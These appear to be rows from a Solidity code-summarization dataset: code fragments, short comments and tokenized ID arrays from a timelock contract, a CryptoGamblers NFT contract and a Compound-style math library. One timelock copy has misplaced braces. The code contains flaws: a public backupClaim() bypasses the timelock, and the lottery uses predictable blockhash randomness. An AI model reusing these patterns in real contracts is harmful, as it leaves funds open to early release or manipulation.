* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.6.0;
/**
* @title SimpleTimelock
* @dev SimpleTimelock is an ETH holder contract that will allow a
* beneficiary to receive the ETH after a given release time.
*/
contract SimpleTimelock {
IERC20 public saletoken;
// beneficiary of ETH after it is released
address public beneficiary;
// timestamp when ETH release is enabled
uint256 public releaseTime;
constructor (address _beneficiary, IERC20 token, uint256 _releaseTime) public {
releaseTime=block.timestamp+ _releaseTime;
require(releaseTime > block.timestamp, "release time is before current time");
beneficiary = _beneficiary;
saletoken = token;
}
function release() public {
require(block.timestamp >= releaseTime, "current time is before release time");
uint256 amount = saletoken.balanceOf(address(this)) ;
require(amount > 0, "no tokens to release");
saletoken.transfer(beneficiary,amount);
}
function backupClaim() public{
uint256 amount = saletoken.balanceOf(address(this)) ;
saletoken.transfer(beneficiary,amount);
}
function showBlockTime() public view returns (uint){
return block.timestamp;
}
function ifUnlocked() public view returns (bool){
return releaseTime<=block.timestamp;
}
function checkBalance() public view returns (uint){
return saletoken.balanceOf(address(this));
}
}
|
* @title SimpleTimelock @dev SimpleTimelock is an ETH holder contract that will allow a beneficiary to receive the ETH after a given release time./ beneficiary of ETH after it is released timestamp when ETH release is enabled
|
contract SimpleTimelock {
IERC20 public saletoken;
address public beneficiary;
uint256 public releaseTime;
}
constructor (address _beneficiary, IERC20 token, uint256 _releaseTime) public {
releaseTime=block.timestamp+ _releaseTime;
require(releaseTime > block.timestamp, "release time is before current time");
beneficiary = _beneficiary;
saletoken = token;
}
function release() public {
require(block.timestamp >= releaseTime, "current time is before release time");
uint256 amount = saletoken.balanceOf(address(this)) ;
require(amount > 0, "no tokens to release");
saletoken.transfer(beneficiary,amount);
}
function backupClaim() public{
uint256 amount = saletoken.balanceOf(address(this)) ;
saletoken.transfer(beneficiary,amount);
}
function showBlockTime() public view returns (uint){
return block.timestamp;
}
function ifUnlocked() public view returns (bool){
return releaseTime<=block.timestamp;
}
function checkBalance() public view returns (uint){
return saletoken.balanceOf(address(this));
}
}
| 7,823,273 |
[
1,
5784,
10178,
292,
975,
225,
4477,
10178,
292,
975,
353,
392,
512,
2455,
10438,
6835,
716,
903,
1699,
279,
27641,
74,
14463,
814,
358,
6798,
326,
512,
2455,
1839,
279,
864,
3992,
813,
18,
19,
27641,
74,
14463,
814,
434,
512,
2455,
1839,
518,
353,
15976,
2858,
1347,
512,
2455,
3992,
353,
3696,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
4477,
10178,
292,
975,
288,
203,
203,
565,
467,
654,
39,
3462,
1071,
12814,
278,
969,
31,
203,
203,
565,
1758,
1071,
27641,
74,
14463,
814,
31,
203,
203,
565,
2254,
5034,
1071,
3992,
950,
31,
203,
377,
203,
97,
203,
565,
3885,
261,
2867,
389,
70,
4009,
74,
14463,
814,
16,
467,
654,
39,
3462,
1147,
16,
2254,
5034,
389,
9340,
950,
13,
1071,
288,
203,
3639,
3992,
950,
33,
2629,
18,
5508,
15,
389,
9340,
950,
31,
203,
3639,
2583,
12,
9340,
950,
405,
1203,
18,
5508,
16,
315,
9340,
813,
353,
1865,
783,
813,
8863,
203,
3639,
27641,
74,
14463,
814,
273,
389,
70,
4009,
74,
14463,
814,
31,
203,
3639,
12814,
278,
969,
273,
1147,
31,
203,
565,
289,
203,
203,
565,
445,
3992,
1435,
1071,
288,
203,
3639,
2583,
12,
2629,
18,
5508,
1545,
3992,
950,
16,
315,
2972,
813,
353,
1865,
3992,
813,
8863,
203,
3639,
2254,
5034,
3844,
273,
12814,
278,
969,
18,
12296,
951,
12,
2867,
12,
2211,
3719,
274,
203,
3639,
2583,
12,
8949,
405,
374,
16,
315,
2135,
2430,
358,
3992,
8863,
203,
3639,
12814,
278,
969,
18,
13866,
12,
70,
4009,
74,
14463,
814,
16,
8949,
1769,
203,
565,
289,
203,
203,
565,
445,
5114,
9762,
1435,
1071,
95,
203,
540,
2254,
5034,
3844,
273,
12814,
278,
969,
18,
12296,
951,
12,
2867,
12,
2211,
3719,
274,
203,
540,
12814,
278,
969,
18,
13866,
12,
70,
4009,
74,
14463,
814,
16,
8949,
1769,
203,
565,
289,
203,
203,
565,
445,
2405,
1768,
2
] |
./full_match/3/0x20E6F16496E1dA873c1509e1290224B8268B6B1D/sources/browser/Project_Shared_Wallet.sol
|
function for changing allowance
|
function changeAllowance(uint _allowance) public onlyOwner{
allowance = _allowance;
}
| 8,139,409 |
[
1,
915,
364,
12770,
1699,
1359,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
2549,
7009,
1359,
12,
11890,
389,
5965,
1359,
13,
1071,
1338,
5541,
95,
203,
3639,
1699,
1359,
273,
389,
5965,
1359,
31,
203,
565,
289,
203,
377,
203,
377,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./ERC721.sol";
import "./Ownable.sol";
import "./SafeMath.sol";
contract OwnableDelegateProxy {}
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
contract CryptoGamblers is ERC721, Ownable
{
using Strings for string;
using SafeMath for uint;
// Max tokens supply
uint public constant maxSupply = 777;
//_tokenPropertiesString[tokenID-1] = propertiesString
string[maxSupply] private tokenPropertiesString;
// The IPFS hash of token's metadata
string public metadataHash = "";
// Variables used for RNG
uint private nextBlockNumber = 0;
bytes32 private secretHash = 0;
uint private _rngSeed = 0;
uint private seedExpiry = 0;
bool private rngSemaphore = false;
// Whitelist OpenSea proxy contract for easy trading.
address proxyRegistryAddress;
// Events
event SeedInit(address _from, uint _totalSupply, uint _seedExpiry, uint __rngSeed);
event SeedReset(address _from, uint _totalSupply, uint _seedExpiry);
event LotteryFromTo(address indexed _from, address _winner, uint _value, uint _firstTokenId, uint _lastTokenId, string _userInput, uint indexed _luckyNumber);
event LotteryProperties(address indexed _from, address _winner, uint _value, string _propertiesString, string _userInput, uint indexed _luckyNumber);
constructor() ERC721("CryptoGamblers", "GAMBLERS")
{
proxyRegistryAddress = address(0xa5409ec958C83C3f309868babACA7c86DCB077c1);
ERC721._setBaseURI("https://meta.cryptogamblers.life/gamblers/");
}
function mint(string memory properties) public onlyOwner
{
require(totalSupply() < maxSupply, "Exceeds max supply");
require(seedExpiry > totalSupply(), "_rngSeed expired");
require(rngSemaphore == false, "secret is not revealed");
uint newTokenId = totalSupply().add(1);
if(newTokenId != maxSupply)
{
properties = generateRandomProperties();
}
else
{
// the special one
require(properties.strMatch("??????????????"));
}
_mint(owner(), newTokenId);
tokenPropertiesString[newTokenId-1] = properties;
}
function setMetadataHash(string memory hash) public onlyOwner
{
// modifications are not allowed
require(bytes(metadataHash).length == 0 && totalSupply() == maxSupply);
metadataHash = hash;
}
// public getters
function propertiesOf(uint tokenId) public view returns (string memory)
{
require(tokenId >= 1 && tokenId <= totalSupply());
return tokenPropertiesString[tokenId-1];
}
function getGamblersByProperties(string memory properties) public view returns(uint[] memory, uint)
{
uint[] memory participants = new uint[](totalSupply());
uint participants_count = 0;
for(uint i=0;i<totalSupply();i++)
{
if(tokenPropertiesString[i].strMatch(properties))
{
participants[participants_count++] = i+1;
}
}
return (participants, participants_count);
}
// RNG functions ownerOnly
// probability sheet : https://ipfs.io/ipfs/QmPTm2MvYTHjoSQZSJY5SErGaEL3soje7QpcaqFntwkGno
function generateRandomProperties() internal returns(string memory)
{
// prob(id_0) = (prob_arr[1] - prob_arr[0]) / prob_arr[prob_arr.length - 1]
// prob(id_1) = (prob_arr[2] - prob_arr[1]) / prob_arr[prob_arr.length - 1] ....
uint[] memory hat_hair = new uint[](9);
hat_hair[0] = 0;
hat_hair[1] = 7; // Blank - 7.00%
hat_hair[2] = 22; // Cilinder - 15.00%
hat_hair[3] = 35; // Fallout - 13.00%
hat_hair[4] = 46; // Jokerstars - 11.00%
hat_hair[5] = 61; // Leverage - 15.00%
hat_hair[6] = 73; // Peaky Blinder - 12.00%
hat_hair[7] = 92; // Pump & Dump - 19.00%
hat_hair[8] = 100; // SquidFi Hat - 8.00%
uint[] memory skin_color_facial_expression = new uint[](22);
skin_color_facial_expression[0] = 0;
skin_color_facial_expression[1] = 0; // Blank - 0.00%
skin_color_facial_expression[2] = 17; // Ape Bronze - 1.70%
skin_color_facial_expression[3] = 24; // Ape Red - 0.70%
skin_color_facial_expression[4] = 84; // Black Ecstatic - 6.00%
skin_color_facial_expression[5] = 144; // Black Frustrated - 6.00%
skin_color_facial_expression[6] = 204; // Black Rage - 6.00%
skin_color_facial_expression[7] = 264; // Black Devastated - 6.00%
skin_color_facial_expression[8] = 271; // Golden Pepe - 0.70%
skin_color_facial_expression[9] = 288; // Green Pepe - 1.70%
skin_color_facial_expression[10] = 348; // White Devastated 6.00%
skin_color_facial_expression[11] = 408; // White Ecstatic 6.00%
skin_color_facial_expression[12] = 468; // White Frustrated 6.00%
skin_color_facial_expression[13] = 528;// White Rage 6.00%
skin_color_facial_expression[14] = 588; // Yellow Devastated 6.00%
skin_color_facial_expression[15] = 648; // Yellow Excited 6.00%
skin_color_facial_expression[16] = 708; // Yellow Frustrated 6.00%
skin_color_facial_expression[17] = 768; // Yellow Happy 6.00%
skin_color_facial_expression[18] = 826; // Zombie Happy 5.80%
skin_color_facial_expression[19] = 884; // Zombie Devastated 5.80%
skin_color_facial_expression[20] = 942; // Zombie Ecstatic 5.80%
skin_color_facial_expression[21] = 1000; // Zombie Rage 5.80%
uint[] memory neck = new uint[](8);
neck[0] = 0;
neck[1] = 70; // Blank - 7.00%
neck[2] = 127; // Golden chain - 5.70%
neck[3] = 397; // Horseshoe -27.00%
neck[4] = 577; // Ledger - 18.00%
neck[5] = 723; // Lucky Clover - 14.60%
neck[6] = 873; // Piggy Bank - 15.00%
neck[7] = 1000; // Silver chain - 12.70%
uint[] memory upper_body = new uint[](10);
upper_body[0] = 0;
upper_body[1] = 7; // Blank - 7.00%
upper_body[2] = 17; // 9 to 5 Shirt - 10.00%
upper_body[3] = 23; // ChimsCoin T-shirt - 6.00%
upper_body[4] = 38;// Coinface Jacket -15.00%
upper_body[5] = 48; // Hawaii Shirt - 10.00%
upper_body[6] = 58; // Hoodie Lose365 - 10.00%
upper_body[7] = 66; // Lumber-Gambler Shirt - 8.00%
upper_body[8] = 80; // Tuxedo Top - 14.00%
upper_body[9] = 100; // Uniswamp degen T-shirt - 20.00%
uint[] memory lower_body = new uint[](8);
lower_body[0] = 0;
lower_body[1] = 7; // Blank - 7.00%
lower_body[2] = 19; // Baggy Jeans - 12.00%
lower_body[3] = 35; // Blue Jeans - 16.00%
lower_body[4] = 51; // Colorful Shorts - 16.00%
lower_body[5] = 60; // Ripped Jeans - 9.00%
lower_body[6] = 85; // Sports Pants - 25.00%
lower_body[7] = 100;// Tuxedo Pants - 15.00%
uint[] memory shoes = new uint[](8);
shoes[0] = 0;
shoes[1] = 7; // Blank - 7.00%
shoes[2] = 23; // Cowboy Boots - 16.00%
shoes[3] = 43; // Crocs - 20.00%
shoes[4] = 51; // Fancy Sneakers - 8.00%
shoes[5] = 55; // Lux Flip Flops - 4.00%
shoes[6] = 80; // Old Sneakers - 25.00%
shoes[7] = 100; //Oxfords - 20.00%
uint[] memory attributes = new uint[](26);
attributes[0] = 0;
attributes[1] = 0; // Blank - 0.00%
attributes[2] = 100; // Cone (left hand) - 10.00%
attributes[3] = 200; // Fishing pole (right hand) - 10.00%
attributes[4] = 220; // Fishing pole (right hand) + Cone (left hand) - 2.00%
attributes[5] = 230; // Fishing pole (right hand) + Golden watch (left hand) - 1.00%
attributes[6] = 250; // Fishing pole (right hand) + Joint (left hand) - 2.00%
attributes[7] = 255; // Fishing pole(right hand) + OpenOcean bag (left hand) - 0.50%
attributes[8] = 355; // Golden watch (left hand) - 10.00%
attributes[9] = 455; // Gun (right hand) - 10.00%
attributes[10] = 555; // Joint (left hand) - 10.00%
attributes[11] = 655; // Money bills (right hand) - 10.00%
attributes[12] = 670; // Money bills (right hand) + Cone (left hand) - 1.50%
attributes[13] = 690; // Money bills (right hand) + Golden watch (left hand) - 2.00%
attributes[14] = 695; // Money bills (right hand) + Joint (left hand) - 0.50%
attributes[15] = 715; // Money bills (right hand) + OpenOcean bag (left hand) - 2.00%
attributes[16] = 815; // OpenOcean bag (left hand) - 10.00%
attributes[17] = 915; // Phone (right hand) - 10.00%
attributes[18] = 920; // Phone (right hand) + Cone (left hand) - 0.50%
attributes[19] = 935; // Phone (right hand) + Golden watch (left hand) - 1.50%
attributes[20] = 950; // Phone (right hand) + Joint (left hand) - 1.50%
attributes[21] = 965; // Phone (right hand) + OpenOcean bag (left hand) - 1.50%
attributes[22] = 975; // Pistol (right hand) + Cone (left hand) - 1.00%
attributes[23] = 980; // Pistol (right hand) + Golden watch (left hand) - 0.50%
attributes[24] = 990; // Pistol (right hand) + Joint (left hand) - 1.00%
attributes[25] = 1000; //Pistol (right hand) + OpenOcean bag (left hand) - 1.00%
return string(abi.encodePacked( Strings.uintToPad2Str(upperBound(hat_hair, randomUint(randomSeed(), hat_hair[hat_hair.length - 1])) - 1),
Strings.uintToPad2Str(upperBound(skin_color_facial_expression, randomUint(randomSeed(), skin_color_facial_expression[skin_color_facial_expression.length - 1])) - 1),
Strings.uintToPad2Str(upperBound(neck, randomUint(randomSeed(), neck[neck.length - 1])) - 1),
Strings.uintToPad2Str(upperBound(upper_body, randomUint(randomSeed(), upper_body[upper_body.length - 1])) - 1),
Strings.uintToPad2Str(upperBound(lower_body, randomUint(randomSeed(), lower_body[lower_body.length - 1])) - 1),
Strings.uintToPad2Str(upperBound(shoes, randomUint(randomSeed(), shoes[shoes.length - 1])) - 1),
Strings.uintToPad2Str(upperBound(attributes, randomUint(randomSeed(), attributes[attributes.length - 1])) - 1)));
}
function sendSecretHash(bytes32 _secretHash, uint count) public onlyOwner
{
require(rngSemaphore == false && seedExpiry == totalSupply() && count > 0);
secretHash = _secretHash;
seedExpiry = count.add(totalSupply());
nextBlockNumber = block.number + 1;
rngSemaphore = true;
}
function initRng(string memory secret) public onlyOwner
{
require(rngSemaphore == true && block.number >= nextBlockNumber);
require(keccak256(abi.encodePacked(secret)) == secretHash, "wrong secret");
_rngSeed = uint(keccak256(abi.encodePacked(secret, blockhash(nextBlockNumber))));
rngSemaphore = false;
emit SeedInit(msg.sender, totalSupply(), seedExpiry, _rngSeed);
}
function resetRng() public onlyOwner
{ // we should never call this function
require(rngSemaphore == true);
// event trigger
emit SeedReset(msg.sender, totalSupply(), seedExpiry);
seedExpiry = totalSupply();
rngSemaphore = false;
}
function randomSeed() internal returns (uint)
{
//unchecked
// {
_rngSeed = _rngSeed + 1;
// }
return _rngSeed;
}
// RNG functions public
function randomUint(uint seed, uint modulo) internal pure returns (uint)
{
uint num;
uint nonce = 0;
do
{
num = uint(keccak256(abi.encodePacked(seed, nonce++ )));
}
while( num >= type(uint).max - (type(uint).max.mod(modulo)) );
return num.mod(modulo);
}
// Lottery functions, Off chain randomness : seed = Hash(userSeed + blockhash(currBlockNumber-7))
function tipRandomGambler(uint firstTokenId, uint lastTokenId, string memory userSeed) public payable
{
require(msg.value != 0, "Send some ether" );
require(firstTokenId >= 1 && lastTokenId <= totalSupply() && lastTokenId.sub(firstTokenId) > 0, "Invalid arguments");
uint winner = firstTokenId.add(randomUint(uint(keccak256(abi.encodePacked(userSeed, blockhash(block.number - 7)))), lastTokenId.sub(firstTokenId).add(1)));
address winnerOwner = ownerOf(winner);
payable(winnerOwner).transfer(msg.value);
emit LotteryFromTo(msg.sender, winnerOwner, msg.value, firstTokenId, lastTokenId, userSeed, winner);
}
function tipRandomGambler(string memory userSeed) public payable
{
tipRandomGambler(1, totalSupply(), userSeed);
}
function tipRandomGambler(string memory properties, string memory userSeed) public payable
{
require(msg.value != 0, "Send some ether" );
require(properties.strMatch("??????????????"), "Invalid arguments");
(uint[] memory participants, uint participants_count) = getGamblersByProperties(properties);
require(participants_count != 0, "No participants");
uint winner = participants[randomUint(uint(keccak256(abi.encodePacked(userSeed, blockhash(block.number - 7)))), participants_count)];
address winnerOwner = ownerOf(winner);
payable(winnerOwner).transfer(msg.value);
emit LotteryProperties(msg.sender, winnerOwner, msg.value, properties, userSeed, winner);
}
// Binary search
function upperBound(uint[] memory arr, uint value) internal pure returns(uint)
{
uint mid;
uint low = 0;
uint high = arr.length;
while (low < high)
{
mid = low + (high - low) / 2;
if (value >= arr[mid])
low = mid + 1;
else
high = mid;
}
return low;
}
/**
* Override isApprovedForAll to whitelist user's OpenSea proxy accounts to enable gas-less listings.
*/
function isApprovedForAll(address owner, address operator)
public
view
override
returns (bool)
{
// Whitelist OpenSea proxy contract for easy trading.
ProxyRegistry proxyRegistry = ProxyRegistry(proxyRegistryAddress);
if (address(proxyRegistry.proxies(owner)) == operator) {
return true;
}
return super.isApprovedForAll(owner, operator);
}
}
|
Golden chain - 5.70%
|
neck[2] = 127;
| 11,771,250 |
[
1,
43,
1673,
275,
2687,
300,
1381,
18,
7301,
9,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
3639,
290,
762,
63,
22,
65,
273,
12331,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.5.16;
// Copied from Compound/ExponentialNoError
/**
* @title Exponential module for storing fixed-precision decimals
* @author DeFil
* @notice Exp is a struct which stores decimals with a fixed precision of 18 decimal places.
* Thus, if we wanted to store the 5.1, mantissa would store 5.1e18. That is:
* `Exp({mantissa: 5100000000000000000})`.
*/
contract ExponentialNoError {
uint constant expScale = 1e18;
uint constant doubleScale = 1e36;
uint constant halfExpScale = expScale/2;
uint constant mantissaOne = expScale;
struct Exp {
uint mantissa;
}
struct Double {
uint mantissa;
}
/**
* @dev Truncates the given exp to a whole number value.
* For example, truncate(Exp{mantissa: 15 * expScale}) = 15
*/
function truncate(Exp memory exp) pure internal returns (uint) {
// Note: We are not using careful math here as we're performing a division that cannot fail
return exp.mantissa / expScale;
}
/**
* @dev Multiply an Exp by a scalar, then truncate to return an unsigned integer.
*/
function mul_ScalarTruncate(Exp memory a, uint scalar) pure internal returns (uint) {
Exp memory product = mul_(a, scalar);
return truncate(product);
}
/**
* @dev Multiply an Exp by a scalar, truncate, then add an to an unsigned integer, returning an unsigned integer.
*/
function mul_ScalarTruncateAddUInt(Exp memory a, uint scalar, uint addend) pure internal returns (uint) {
Exp memory product = mul_(a, scalar);
return add_(truncate(product), addend);
}
/**
* @dev Checks if first Exp is less than second Exp.
*/
function lessThanExp(Exp memory left, Exp memory right) pure internal returns (bool) {
return left.mantissa < right.mantissa;
}
/**
* @dev Checks if left Exp <= right Exp.
*/
function lessThanOrEqualExp(Exp memory left, Exp memory right) pure internal returns (bool) {
return left.mantissa <= right.mantissa;
}
/**
* @dev Checks if left Exp > right Exp.
*/
function greaterThanExp(Exp memory left, Exp memory right) pure internal returns (bool) {
return left.mantissa > right.mantissa;
}
/**
* @dev returns true if Exp is exactly zero
*/
function isZeroExp(Exp memory value) pure internal returns (bool) {
return value.mantissa == 0;
}
function safe224(uint n, string memory errorMessage) pure internal returns (uint224) {
require(n < 2**224, errorMessage);
return uint224(n);
}
function safe32(uint n, string memory errorMessage) pure internal returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function add_(Exp memory a, Exp memory b) pure internal returns (Exp memory) {
return Exp({mantissa: add_(a.mantissa, b.mantissa)});
}
function add_(Double memory a, Double memory b) pure internal returns (Double memory) {
return Double({mantissa: add_(a.mantissa, b.mantissa)});
}
function add_(uint a, uint b) pure internal returns (uint) {
return add_(a, b, "addition overflow");
}
function add_(uint a, uint b, string memory errorMessage) pure internal returns (uint) {
uint c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub_(Exp memory a, Exp memory b) pure internal returns (Exp memory) {
return Exp({mantissa: sub_(a.mantissa, b.mantissa)});
}
function sub_(Double memory a, Double memory b) pure internal returns (Double memory) {
return Double({mantissa: sub_(a.mantissa, b.mantissa)});
}
function sub_(uint a, uint b) pure internal returns (uint) {
return sub_(a, b, "subtraction underflow");
}
function sub_(uint a, uint b, string memory errorMessage) pure internal returns (uint) {
require(b <= a, errorMessage);
return a - b;
}
function mul_(Exp memory a, Exp memory b) pure internal returns (Exp memory) {
return Exp({mantissa: mul_(a.mantissa, b.mantissa) / expScale});
}
function mul_(Exp memory a, uint b) pure internal returns (Exp memory) {
return Exp({mantissa: mul_(a.mantissa, b)});
}
function mul_(uint a, Exp memory b) pure internal returns (uint) {
return mul_(a, b.mantissa) / expScale;
}
function mul_(Double memory a, Double memory b) pure internal returns (Double memory) {
